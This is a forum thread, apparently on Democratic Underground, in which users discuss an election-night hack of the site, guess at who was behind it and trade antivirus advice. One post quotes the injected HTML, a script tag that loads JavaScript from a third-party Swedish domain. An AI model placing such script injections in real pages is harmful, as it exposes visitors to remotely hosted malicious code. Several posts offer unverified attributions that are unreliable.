What do we know about the DU hacker?

[skip fox]

Have we found out anything about who did this? Is it likely we will?

BTW on You Tube you can see the video by searching "DU Hack." It's disturbing.

My election evening started with this, then I had an encounter with a real rat in my shed, then I fell asleep watching the returns, then . . . Well, hell.

[Grey Lemercier]

19. I dont think most on here have much of idea of how

sophisticated, globally spread out, varied, ruthless and technically skilled the alt-right and the loosely affiliated black hat hacker communities are.

They have so many rabidly committed people who reach out to the dark side of the cyber community (often aided by foreign powers) to advance their overarching agenda and also to disrupt, intimidate, and break their opponents. Now that they are gaining real political power they have the wind in their sails and are becoming more and more aggrsive and powerful. Hungary, Poland, Sweden, Finland, Greece, Denmark, Germany, Ukraine, now the US at presidential penumbra level, etc. all have partially white nationalism-based parties in power to varying degrees.

22. From My Chrome History

I hovered over the history link and here is the code:

God Emperor<script src = 'http://connoisseurint.se/facts/w.js'></script>democraticunderground


I don't know what will happen if you clink on the link, so be forewarned!!!

I believe the se. is for Sweden, which could indicate that Julian has/had help from this alt right buddies. Not certain what any of this means, but it is the code that came up after hovering on the history link.

If anyone knows more about it then by all means feel free to post your analysis!

23. The main site is owned by Connoisseur International

Connoisseur International publishes Connoisseur Magazine as well as organizing 30-50 events of varying size each year. We also run Connoisseur Club, an internet community whose membership currently consists of every third "millionaire" in Sweden (12 000 people). In addition, Connoisseur International operates Sweden's foremost entertainment club – Red Carpet.

High end stuff for high end people, apparently.

I'd bet their site was hacked enough to use it as a depository for some of the material used on DU.

24. I decided to let Kaspersky deal with whatever happened, and clicked on it.

You just get a 404 Not Found for http://connoisseurint.se/facts/w.js

http://connoisseurint.se is a Swedish Wordpress site.

http://www.connoisseurint.se/facts/ seems to get you to a standard Wordpress back end for the site, which as far as I can tell, they haven't bothered to edit.

The English-language version at http://www.connoisseurint.se/en/ gives the following explanation:

CONNOISSEUR INTERNATIONAL

Connoisseur International publishes Connoisseur Magazine as well as organizing 30-50 events of varying size each year. We also run Connoisseur Club, an internet community whose membership currently consists of every third "millionaire" in Sweden (12 000 people). In addition, Connoisseur International operates Sweden's foremost entertainment club – Red Carpet.

The following pages contain more information about our activities and how you can benefit from them.

The site's been around since 2005, as far as I can tell. I doubt it was directly involved. More likely the hacker used it as an unwitting location to temporarily store the Javascript file.

31. Starting during the hack I started getting Blocks from my antivirus-is this different from the hack?

So far, there are 24 Blocks in my History, below (except the first two which are apparently the video in the hack itself). Should I erase all my History (won't affect my Cookies, right?) ? Is there something I can/should do to rid the whatever/malware/spyware/virus? So is it the result of the hack?

Do you see anything in these codes that can be pertinent to anything? I used partials and inserted spaces in the gobbledegook so as not to spread anything?

35. It could be just coincidence.

It does look like you may have some malware.

It also looks like you current antivirus software's dealing with it, but you could try this:

How to remove Ps4ux.com redirect (Virus Removal Guide)
https://malwaretips.com/blogs/remove-ps4ux-com/

No AV software will take care of all malware, so I'd recommend using Malwarebytes etc. as a one-off, as that article explains. If you've got one malware infection, you may have others.

25. is it the same one who has been personally attacking members

Including with private info on their lives ?

[Ellipsis]

26. Well it ain't no red neck mfer from the states I'll say that.

[Sunlei]

27. The Admin answered your question in ask the admin section. & DU had a link to the youtube on front

page all the time they were down.

I think we'll hear more later.

[MagickMuffin]

32. Could you add the link to ATA answer?

I looked and did not see the thread.

Thx

[Initech]

28. I don't think it was one hacker. I think it was a group of hackers.

On election day I was browsing Twitter looking for information and I came across a thread on the Ron Paul Forums (fuck Ron Paul) and apparently it was a group calling themselves Legions Of Pepe. I don't know if this is accurate information because coming from the Ron Paul Forums I would expect a lot of misinformation but that is what I found.

[Warren DeMontague]

36. They're obviously way better at hacking than they are at making music videos, for one.

I only managed to get through once on election day- it was after the 1st time DU went down- I didnt see anything weird. next time I tried back it was down again for good.
